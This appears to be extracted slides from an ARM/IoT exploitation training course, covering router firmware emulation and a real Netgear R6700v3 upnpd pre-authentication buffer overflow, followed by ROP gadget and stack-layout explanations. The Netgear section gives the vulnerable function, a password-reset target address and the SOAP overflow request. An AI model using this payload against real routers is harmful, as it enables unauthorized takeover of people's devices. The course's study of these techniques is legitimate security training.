Note: We can also emulate these binaries on non-ARM systems with tools like unicorn, radare2, Ghidra.
09b91222e5d2d3d668cf8e52ec5d35ba
Being able to extract the file contents from a firmware update allows researchers to get their hands on the
actual binaries that get loaded onto a device. Tools like binwalk that automate the parsing and extraction of
unknown file formats allow for quick access to binaries of interest. These binaries can be viewed with static
analysis tools, dynamically executed, or even fuzzed.
OBJECTIVES PREPARATION
micede1865@wii999_com
• Using binwalk to analyze and extract data from
a firmware update
• Identifying and looking through the squashfs
This lab will be done in the Mako virtual machine.
Paul Erwin
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
live
1. Firmware
09b91222e5d2d3d668cf8e52ec5d35ba
SEC661.1
ARM Exploit Fundamentals 2.
3.
Lab: Firmware Extraction
Router Emulation
Netgear Exploit
SEC661.2 Lab: Netgear Exploit
Exploiting IoT Devices 4. ROP
Lab: ROP
5. Dlink Exploit
micede1865@wii999_com 6.
Lab: Dlink Exploit
Memory Leaks
Lab: Memory Leaks
7. 64-Bit ARM
Lab: 64-Bit ARM
Paul Erwin
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
live
Router Emulation
09b91222e5d2d3d668cf8e52ec5d35ba
Using emulation software like qemu, we can simulate our target and interact with it in
a virtual environment. In this section, we will be emulating a couple of routers and
providing an overview of how we accomplish this. System emulation allows us to start
micede1865@wii999_com
the system up to the point where we can launch attacks and even debug the target
services. Ideally, we want to get the emulated system to accurately reflect what will
happen on the actual device.
Paul Erwin
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
live
09b91222e5d2d3d668cf8e52ec5d35ba
• Get the emulation to a point where you can interact with target
services
• Many errors occur since we are not running on actual hardware
• (i.e. looking for USB, WiFi hardware, etc.)
• Some reverse engineering may be required to get target to boot
micede1865@wii999_com
• Kernel does not have to match 100% when working with user
land processes
• However, you may notice differences when attacking an actual target
Since the targets we are looking at run embedded linux, the startup procedure is fairly well-known. When the
system tries to boot, it will look for hardware that is not present in the emulated environment. If it does not
find what it needs, we need to accommodate it to the point where it will boot up the services that we are
interested in attacking.
Paul Erwin
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
live
09b91222e5d2d3d668cf8e52ec5d35ba
micede1865@wii999_com
Hammerhead virtual machine (x86_64)
We start out from our hammerhead virtual machine. This machine is x86_64 and is designed to be a self-
contained ARM test environment.
Paul Erwin
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
live
09b91222e5d2d3d668cf8e52ec5d35ba
kernel
micede1865@wii999_com dogfish
qemu vm (ARMv7)
The dogfish virtual machine is similar to the mako vm as they are both ARMv7 virtual machines that run
inside the hammerhead vm via qemu-system-arm. The dogfish vm runs Ubuntu 20.04 with kernel
version 5.4.0-66.
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
ID=ubuntu
ID_LIKE=debian
PRETTY_NAME="Ubuntu 20.04.2 LTS"
VERSION_ID="20.04"
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
VERSION_CODENAME=focal
UBUNTU_CODENAME=focal
live
Both the mako and dogfish vms can be ran at the same time but it is recommended to run them one at a time.
09b91222e5d2d3d668cf8e52ec5d35ba
kernel
micede1865@wii999_com dogfish
qemu vm (ARMv7)
The dogfish vm is used to launch both the Netgear and Dlink emulated routers. Each one is started separately,
and once they start up the web interfaces will be accessible from the hammerhead virtual machine’s web
browser.
Paul Erwin
The technique to boot up these routers is based on Saumil Shah’s ARM-X framework. Saumil has spent
decades contributing to the security industry and you should check out his work if you aren’t familiar with it
already.
Reference:
https://twitter.com/therealsaumil
https://github.com/therealsaumil/armx
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
Saumil’s ARM-X Presentation
https://youtu.be/NVl6uJiEaoI
live
09b91222e5d2d3d668cf8e52ec5d35ba
• Filesystem
• Extracted from the vendor’s update bundle or from actual
hardware
• Update bundles are typically available from vendor’s website
• Nvram
micede1865@wii999_com
• Persistent memory (i.e. configuration)
• Extracted from a running device
• Requires access to the target device
The filesystem is required, because it contains the files we actually want to run in the emulated target
environment. Nvram is non-volatile memory that is saved even when the device is powered off. This is where
the router configuration and other system settings get stored.
Paul Erwin
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
live
09b91222e5d2d3d668cf8e52ec5d35ba
kernel
dogfish vm
(armv7)
micede1865@wii999_com
netgear emulation
We want to setup a new netgear emulation environment. Initially, we are still operating in the dogfish virtual
machine. We will use chroot to change our root into the netgear emulation environment.
Paul Erwin
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
live
09b91222e5d2d3d668cf8e52ec5d35ba1
This example shows chroot
into the netgear_rootfs
filesystem and executing a
2 command (/bin/sh).
micede1865@wii999_com
3 Using the ‘ls /’ command, we
see the root contents
within chroot match the
netgear_rootfs folder
shown above.
Paul Erwin
2. Chroot into the netgear filesystem and launch a shell (/bin/sh).
3. List the root contents from within chrooted shell. Now, we see the contents of the netgear_rootfs folder
since we are in the chroot environment.
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
live
netgear emulation
When we are in Netgear’s chroot environment, we are still using the kernel of the dogfish VM. When we apply
chroot restrictions to a process such as the Netgear or Dlink provided shell, the chroot constrains the view of the
filesystem. This constraint will affect the libraries the process links to, but the underlying OS has not changed.
Paul Erwin
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
live
sleep 2
kernel cd /mnt/tools
filesystem
mount -t proc none /proc
mount -t sysfs none /sys
mknod /dev/null c 1 3
dogfish vm chmod 666 /dev/null
(armv7)
sleep 2
/sbin/preinit& Instead of just a shell,
/bin/sh
we launch this script
(netgear_boot.sh)
netgear emulation
Paul Erwin
We run a script instead of a shell to simply automate the steps for starting up the emulated router. Over the
next few slides, we will review these steps.
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
live
sleep 2
kernel cd /mnt/tools
filesystem
/dev/null
mount -t proc none /proc
mount -t sysfs none /sys
mknod /dev/null c 1 3
dogfish vm chmod 666 /dev/null
(armv7)
sleep 2
/sbin/preinit&
/bin/sh
netgear emulation
The proc and sysfs filesystems are mounted in the /proc and /sys folders. These are special
filesystems that Linux uses to manage processes and system configuration. Keep in mind that these are being
mounted in the chroot environment. The /dev/null file is also created, and permissions are set using
Paul Erwin
chmod. The router depends on this file when booting up.
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
live
sleep 2
kernel cd /mnt/tools
filesystem
/dev/null
mount -t proc none /proc
mount -t sysfs none /sys
loadnvram
wlg_wds_mode=1 mknod /dev/null c 1 3
dogfish vm wl_radius_port=1812 chmod 666 /dev/null
(armv7) wlan_acl_dev24=
micede1865@wii999_com
wan2_dns=
pci/2/1/rxgains5gh=5
wl1_wme=on source /mnt/tools/ld_preload_netgear.env
gui_check_enable=1 /mnt/tools/loadnvram_netgear.sh
hd_idle_period=1800
wlan_acl_dev25=
pci/2/1/rxgains5gh=5
l2tp_user_passwd=
sleep 2
wla_ssid_2=NET-Guest /sbin/preinit&
wl_mbss_skipctf=1
/bin/sh
netgear emulation
In the next step we load the router’s nvram. The nvram is non-volatile which means that it is persistent and
will not be lost when the device shuts down or reboots.
Paul Erwin
This is important for routers and other devices that have a small storage capacity. The nvram holds the
device’s configuration settings. Think about some of the things that the device needs to remember after a
reboot (ip configuration, wifi passphrases, etc).
The Netgear emulation script uses a technique to LD_PRELOAD some custom libraries that intercept calls to
read nvram. We have to use this technique to fake the router into thinking that it is interacting with its
hardware that would normally hold the nvram settings. The LD_PRELOAD technique loads custom libraries
in place of original libraries in the process. The custom libraries respond to calls to nvram by providing
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
information we stored in a configuration file. The system would normally read the value from the actual
nvram.
When the nvram gets loaded by our script, you will see lots of settings scroll past very quickly. These are all of
the configuration settings getting loaded for our emulated Netgear startup.
The custom libraries that we use for intercepting the calls to read nvram were written by Saumil Shah and are
available on his github repo.
Reference:
https://github.com/therealsaumil/custom_nvram
https://catonmat.net/simple-ld-preload-tutorial
live
09b91222e5d2d3d668cf8e52ec5d35ba
1
Here we see the loadnvram_netgear.sh script. This script is a slight variation on Saumil Shah’s tools
referenced in the next slide.
Paul Erwin
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
live
09b91222e5d2d3d668cf8e52ec5d35ba
micede1865@wii999_com
Shared objects for
hooking interaction
with nvram
Saumil Shah has done a lot of good work in this area and has freely contributed many of his tools to the
security community. He has taught many security training courses over the years and maintains an emulation
framework known as ARM-X.
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
live
sleep 2
kernel cd /mnt/tools
filesystem
/dev/null
mount -t proc none /proc
mount -t sysfs none /sys
loadnvram /sbin/preinit
wlg_wds_mode=1 mknod /dev/null c 1 3
dogfish vm wl_radius_port=1812 chmod 666 /dev/null
linux system
(armv7) wlan_acl_dev24=
micede1865@wii999_com
wan2_dns=
pci/2/1/rxgains5gh=5
startup
wl1_wme=on source /mnt/tools/ld_preload_netgear.env
gui_check_enable=1 /mnt/tools/loadnvram_netgear.sh
hd_idle_period=1800
wlan_acl_dev25=
pci/2/1/rxgains5gh=5
l2tp_user_passwd=
sleep 2
wla_ssid_2=NET-Guest /sbin/preinit&
wl_mbss_skipctf=1
/bin/sh
netgear emulation
Once our nvram is loaded, we are ready to start up the emulated device.
Paul Erwin
- We have mounted the special folders /proc and /sys and created the /dev/null special file
- We have the router’s configuration loaded in our “fake” nvram that we are using LD_PRELOAD to emulate
The /sbin/preinit command is how the Netgear router starts its boot process. Everything is setup, so we
are ready to kick off that file.
The Netgear and Dlink differ here, and it takes a little bit of reverse engineering to figure out, but they both
use common startup techniques.
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
The /bin/sh command at the end is not required, it just gives us a shell that we can interact with in the
console.
live
loadnvram /sbin/preinit
wlg_wds_mode=1
dogfish vm wl_radius_port=1812
linux system
(armv7) wlan_acl_dev24=
micede1865@wii999_com
wan2_dns=
pci/2/1/rxgains5gh=5
startup
wl1_wme=on
gui_check_enable=1
hd_idle_period=1800
web services
wlan_acl_dev25= and other
pci/2/1/rxgains5gh=5
l2tp_user_passwd= applications
wla_ssid_2=NET-Guest
wl_mbss_skipctf=1
netgear emulation
Once the Linux startup happens, the services that normally start with the router will also start up. This includes
the web services that we are interested in attacking. You will see a lot of output in the console window. There
will be lots of errors, since we are not emulating everything that a real router would have present (i.e., wifi
Paul Erwin
drivers, usb, etc.). We are only emulating enough to start up the services that we are interested in attacking.
In this case, we don't need those resources for our goal. We may need to experiment to determine how much
of the hardware / system must be emulated to accomplish our goal. For simplicity in this instance, that limit
testing has been done already for you. In practice, you'll need to estimate the necessary extent of emulation,
test, and refactor.
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
live
09b91222e5d2d3d668cf8e52ec5d35ba
#!/bin/sh
sleep 2
#!/bin/sh
sleep 2
cd /mnt/tools cd /mnt/tools
micede1865@wii999_com
source /mnt/tools/ld_preload_netgear.env
/mnt/tools/loadnvram_netgear.sh
sleep 2
export LD_PRELOAD=/mnt/tools/libnvram-armx.so
/mnt/tools/loadnvram_dlink.sh
/sbin/preinit& /etc/init.d/rcS
/bin/sh /bin/sh
netgear_boot.sh dlink_boot.sh
This side-by-side comparison shows the similarities between the Netgear and Dlink startup scripts.
The netgear_boot.sh and dlink_boot.sh files can be found in the hammerhead vm in the
Paul Erwin
/home/nemo/qemu/dogfish/routers/tools/ folder.
For the Dlink emulation, there were some scripts in /etc/init.d that were preventing it from booting.
These were bypassed by removing them from the squashfs filesystem, but this did not affect the web
services we were targeting. No changes had to be made to the Netgear filesystem.
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
live
09b91222e5d2d3d668cf8e52ec5d35ba
1
2 Let’s open rc in ghidra
Trying to get the netgear router to boot required some troubleshooting and a little bit of reverse engineering
work.
1.
2.
3.
Paul Erwin
Initially, I tried to start it up with “init”, but that did not seem to do anything.
If you look at init, you see that it is a symlink to a file called rc.
If you try to run rc without any parameters, you are given a usage statement.
So, let’s take a look at the rc binary in Ghidra to try to get a better understanding of what is going on.
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
live
09b91222e5d2d3d668cf8e52ec5d35ba
When looking at the main function in the rc binary, we see that there are comparisons checking the command
line input. If the input from the command line contains “preinit”, the normal boot sequence will begin. So, that
is why we use “/sbin/preinit” in the netgear startup script.
Paul Erwin
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
live
1. Firmware
09b91222e5d2d3d668cf8e52ec5d35ba
SEC661.1
ARM Exploit Fundamentals 2.
3.
Lab: Firmware Extraction
Router Emulation
Netgear Exploit
SEC661.2 Lab: Netgear Exploit
Exploiting IoT Devices 4. ROP
Lab: ROP
5. Dlink Exploit
micede1865@wii999_com 6.
Lab: Dlink Exploit
Memory Leaks
Lab: Memory Leaks
7. 64-Bit ARM
Lab: 64-Bit ARM
Paul Erwin
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
live
Netgear Exploit
09b91222e5d2d3d668cf8e52ec5d35ba
The disclosure for the Netgear bug in this section was released a month before
development of this course began. It serves as a reminder that many of these IoT
devices have still not implemented some of the exploit mitigations that are now
standard on other systems. It also provides us with a real-world example, so that we
micede1865@wii999_com
can see what we’ve learned so far applied to actual systems. The authors did an
excellent job describing the exploit in their writeup, so check it out when you get a
chance. Ideally, both the exploit and the vulnerability will be recognizable based on
what we’ve been learning so far.
Reference:
Paul Erwin
https://packetstormsecurity.com/files/158218/NETGEAR-R6700v3-Password-Reset-Remote-Code-
Execution.html
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
live
micede1865@wii999_com
The vulnerability we are going to look at next was presented by Pedro Ribeiro and Radek Domanski at the
2019 Pwn2Own Mobile competition. The vulnerability exists in the upnpd daemon which is listening on port
5000 on the LAN interface. The universal plug and play daemon (upnpd) is used for network discovery and
Paul Erwin
advertisements. This bug is preauthentication, meaning that you do not need to have any valid login
credentials to exploit it.
The vulnerability affects Netgear R6700v3 series routers running firmware versions V1.0.4.82_10.0.57 and
V1.0.4.84_10.0.58.
Reference:
https://www.zerodayinitiative.com/advisories/ZDI-20-703/
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
https://github.com/rapid7/metasploit-
framework/blob/master//modules/auxiliary/admin/http/netgear_r6700_pass_reset.rb
https://packetstormsecurity.com/files/158218/NETGEAR-R6700v3-Password-Reset-Remote-Code-
Execution.html
live
# uname -a
Linux R6700v3 2.6.36.4brcmarm+ #17 SMP PREEMPT Sat Oct
micede1865@wii999_com
19 11:17:27 CST 2019 armv7l unknown
•
Paul Erwin
ASLR is turned on, so even if the stack was executable, we would have to determine where our shellcode
was before we could jump to it
The shared objects in the upnpd process are utilizing ASLR
• The actual upnpd binary is NOT using ASLR
• We need to be careful about sending NULL bytes in this exploit as they can cut our input string short
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
live
09b91222e5d2d3d668cf8e52ec5d35ba
undefined4 sa_setBlockName(char *NewBlockSiteName, int len)
sscanf
{
... Use NewBlockSiteName
char buffer[1024]; as input and copy the
undefined4 first_int; first integer (%d) into
scanf_int = 0;
&first_int
scanf_str._0_4_ = 0; Copy in the rest of the
micede1865@wii999_com
memset(buffer+ 4, 0, 0x3fc);
print_msg(3, "%s(%d);\n", "sa_setBlockName", 0x42d);
if (len != 0) {
sscanf_result = sscanf(NewBlockSiteName, "%d%s", &first_int, buffer);
parameter as a string
into buffer[1024]
...
This is the vulnerable function which can be found at offset 0x00024b9c in the upnpd binary. The snippet in
the slide has been labeled based on the writeup and so it might not look the same in your Ghidra instance. This
function receives a string that gets parsed out from a web request called NewBlockSiteName.
Paul Erwin
The sscanf (string scan format) gets called and parses the NewBlockSiteName input into two parts
according to the provided format (%d%s). It first parses out an integer (4 bytes, %d) from the beginning of the
NewBlockSiteName and stores it into &first_int. It treats the rest of the input as a string and copies it into
the buffer char array.
The buffer char array is a local stack variable that can only hold 1024 bytes. If any more data gets copied into
it, the buffer will overflow. The sscanf function only knows that a string follows the first integer in the
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
input, and it will keep copying into the buffer until it reaches a null byte. This is where the memory corruption
occurs. Just like we learned in our standalone examples, the saved link register will be overwritten and when
the function returns, the attacker will have control of execution.
Reference:
Run “man sscanf” from a Linux console
Great writeup by the authors:
https://packetstormsecurity.com/files/158218/NETGEAR-R6700v3-Password-Reset-Remote-Code-
Execution.html
live
09b91222e5d2d3d668cf8e52ec5d35ba
• Deliver input to the vulnerable function in the format
“%d%s”
• Overflow the buffer[1024] stack variable and overwrite
the saved LR value stored on the stack
• Redirect execution to password reset functionality within
micede1865@wii999_com
the target binary (upnpd)
• Access the router via the newly assigned default
password
Paul Erwin
- We need to have the right fields/parameters in the web request (next slide)
- The NewBlockSiteName needs to have the “%d%s” format so that the sscanf function parses it correctly
- We need to provide enough data to overflow the local buffer variable and overwrite the saved LR on the
stack
The exploit authors demonstrate this exploit by jumping to some code inside the upnpd binary that resets the
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
password for the http interface to “password”. Since there is no ASLR on the upnpd binary itself and the
password reset functionality is in that code, this is a viable option. In the upnpd binary, the password reset
functionality is at 0x00039a58. Since we send this address in reverse order and it is at the end of our input for
this field, we do not have to worry about the null byte.
Reference:
https://openwrt.org/toh/netgear/telnet.console
live
09b91222e5d2d3d668cf8e52ec5d35ba
POST soap/server_sa HTTP/1.1
Host: 192.168.2.21
Content-Length: 1337
Content-Type: application/x-www-form-urlencoded
SOAPAction: urn:NETGEAR-ROUTER:service:DeviceConfig:1#SOAPLogin
SOAPAction: urn:NETGEAR-ROUTER:service:DeviceInfo:1#Whatever
<?xml version="1.0"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-
ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<SOAP-ENV:Body>SetDeviceNameIconByMAC
<NewBlockSiteName>1AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
micede1865@wii999_com
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAX
</NewBlockSiteName>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>
NewBlockSiteName is the field we are overflowing, and this becomes obvious when we look at the web
request. There is an “X” shown at the end of our input, but that is because when the exploit gets printed to the
screen, it does not know how to display some of the non-ascii characters. The writeup provided by the authors
Paul Erwin
describes in detail how this request reaches the vulnerable function and why we need the different SOAP
parameters. You may also notice the 1 at the very beginning of the A’s. This 1 gets parsed out as an integer
(%d) in the sscanf function prior to reading in the string.
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
Host: 192.168.2.21
Content-Length: 1337
Content-Type: application/x-www-form-urlencoded
SOAPAction: urn:NETGEAR-ROUTER:service:DeviceConfig:1#SOAPLogin
SOAPAction: urn:NETGEAR-ROUTER:service:DeviceInfo:1#Whatever
live
09b91222e5d2d3d668cf8e52ec5d35ba
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
micede1865@wii999_com
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAX
</NewBlockSiteName>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>
24356915
Length: 1337
Reference:
The writeup has an excellent description on the code path.
Paul Erwin
https://packetstormsecurity.com/files/158218/NETGEAR-R6700v3-Password-Reset-Remote-Code-
Execution.html
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
live
Since upnpd is running in the dogfish vm in a chroot environment, we can see this process in the dogfish vm
and attach to it with gdb.
Paul Erwin
This is actually the dogfish vm still, but the hostname gets temporarily renamed when the nvram is loaded for
the emulated router.
By attaching to the process with a debugger we can step through, examine memory/registers and perform in-
depth analysis on the vulnerable process.
Also, if we were writing a new exploit, being able to debug the target process is a huge advantage, because it
lets us view and see what is going on as we are tailoring our exploit buffer.
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
nemo@hammerhead:~$ ssh dogfish
nemo@dogfish's password:
Last login: Sat Oct 19 16:13:08 2019 from 192.168.2.16
09b91222e5d2d3d668cf8e52ec5d35ba
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "arm-linux-gnueabihf".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
micede1865@wii999_com
For help, type "help".
Type "apropos word" to search for commands related to "word".
Attaching to process 3418
Reading symbols from /home/nemo/netgear_rootfs/usr/sbin/upnpd...
(No debugging symbols found in /home/nemo/netgear_rootfs/usr/sbin/upnpd)
...
0xb6ce44c8 in ?? ()
(gdb)
24356915
Paul Erwin
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
live
09b91222e5d2d3d668cf8e52ec5d35ba
In June 2020, Pedro Ribeiro and Radek Domanski disclosed a remote buffer overflow that could be used to
issue a password reset on Netgear R6700 routers. Prior to its public disclosure, the vulnerability was
demonstrated at the Pwn2Own Mobile competition in November 2019. The vulnerability affects the
Universal Plug and Play daemon which listens by default on port 5000 for these devices.
OBJECTIVES PREPARATION
micede1865@wii999_com
• Starting up an emulated router
• Launching an exploit against an emulated
ARM target
This lab will be done in the Dogfish virtual
machine.
• (Optional) Debugging the ARM target, See the SANS SEC661 workbook for detailed lab
observing a crash and walking through a instructions.
redirection payload
Tools used: python, gdb
Reference:
Paul Erwin
https://packetstormsecurity.com/files/158218/NETGEAR-R6700v3-Password-Reset-Remote-Code-
Execution.html
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
live
1. Firmware
09b91222e5d2d3d668cf8e52ec5d35ba
SEC661.1
ARM Exploit Fundamentals 2.
3.
Lab: Firmware Extraction
Router Emulation
Netgear Exploit
SEC661.2 Lab: Netgear Exploit
Exploiting IoT Devices 4. ROP
Lab: ROP
5. Dlink Exploit
micede1865@wii999_com 6.
Lab: Dlink Exploit
Memory Leaks
Lab: Memory Leaks
7. 64-Bit ARM
Lab: 64-Bit ARM
Paul Erwin
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
live
ROP
09b91222e5d2d3d668cf8e52ec5d35ba
Return Oriented Programming or ROP can be used as a workaround for the execute
never (XN) security protection. Instead of delivering shellcode and jumping directly to
it, we can live off the land by executing small sections of existing code already present
micede1865@wii999_com
in the target’s memory space. The ability to do this depends on having control of the
stack and a knowledge of the program’s memory layout. ROP can be used as a
foothold and even leveraged to disable security protections, making the shellcode we
delivered executable.
Paul Erwin
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
live
ROP stands for return oriented programming. It is a way to execute multiple small chunks of code to
accomplish a larger goal. If we control the stack, we can direct execution to a small snippet of code and when
it returns (gets the return address off the stack), we can give it another address to jump to, execute some more
Paul Erwin
instructions and return. This can continue on until we have accomplished our goal.
We use ROP to get around the fact that we can’t deliver and jump directly to shellcode, because the location
where we deliver the shellcode is marked non-executable (XN/execute never). We need to know the addresses
where we want to jump to, so if ASLR is enabled, we need to implement a workaround.
ROP can be used on the main binary or in any of the executable shared objects that get loaded into process
memory, such as libc. You usually need a good amount of code to find useful ROP gadgets, so not every
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
binary is good for ROP.
There is no return instruction in 32-bit ARM, so typically we are looking for pop instructions that are popping
a value into the pc register. Also, branches to registers are frequently used (i.e., blx r1, bx lr).
If a new version of the target binary is released, you need to update your ROP so that it accounts for the
changes to the offsets and addresses within the binary.
When developing an exploit, it is good to clearly define a goal that you are trying to accomplish via ROP.
live
micede1865@wii999_com
mov
ldr.w
bx
sp, r7
r7, [sp], #4
lr
mov r0, r4
add sp, #12
pop {r4, r5, r6, r7, pc}
ROP gadgets are the small snippets of code that we jump to and return from. The return is the “pop pc”
element. The other instructions are what help us build the different pieces needed to accomplish our goal.
Paul Erwin
It is important to remember that we control the stack, so when values get popped off, we can set up the stack
so that the values we define get popped into the appropriate registers. Some registers we don’t care about, so
we can put any values there, but we need to include them to keep our alignment intact.
Here we show a lot of single pop instructions and a few with more than one instruction. This works, but it may
be necessary to broaden our search and look at some more instructions that come before the pop pc. Some
instructions may be irrelevant, but we can use the gadget if it doesn’t break what we are trying to do.
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
Take the following gadget for example:
mov
ldmia.w
r0, r4
sp!, {r4, r5, r6, lr}
bx r3
Maybe we already control what is in the r3 and r4 registers and really need to move r4 into r0 and then
branch to the address we have stored in r3. We don’t care that the middle instruction will load the r4, r5,
r6, and lr registers. It won’t affect what we are trying to do. The r3 does not get disturbed here and neither
does r0. Note: In this example, you might want to populate the lr register for when function at r3 tries to
return.
live
We also need to consider the effects of the gadget’s execution on the stack.
If we are executing the following gadget and we want to populate r0 with the number 8 and then jump to
address 0x12345678, we need to account for what will be popped off the stack. Continued ...
Our stack should look like this at the time this instruction gets executed.
0x00000008 -> gets popped into r0, good! (SP, when this instruction gets executed)
0x41414141 -> gets popped into r2, don’t care.
09b91222e5d2d3d668cf8e52ec5d35ba
0x42424242 -> gets popped into r3, don’t care.
0x43434343 -> gets popped into r4, don’t care.
0x44444444 -> gets popped into r5, don’t care.
0x45454545 -> gets popped into r7, don’t care.
0x12345678 -> gets popped into pc, good!
micede1865@wii999_com
use the following gadget, we need to account for everything that would happen to the SP here:
mov r0, r4
add sp, #12
pop {r4, r5, r6, r7, pc
This is what our stack should look like at the time we execute this ROP gadget. Notice how we account for the
add to sp and the pops.
0x41414141 <- SP is here
0x41414141
24356915
0x41414141
0x42424242 <- add sp, #12 moves SP here after the second instruction in the gadget, -> gets popped into r4 on
the next instruction
0x42424242 -> popped into r5
0x42424242 -> popped into r6
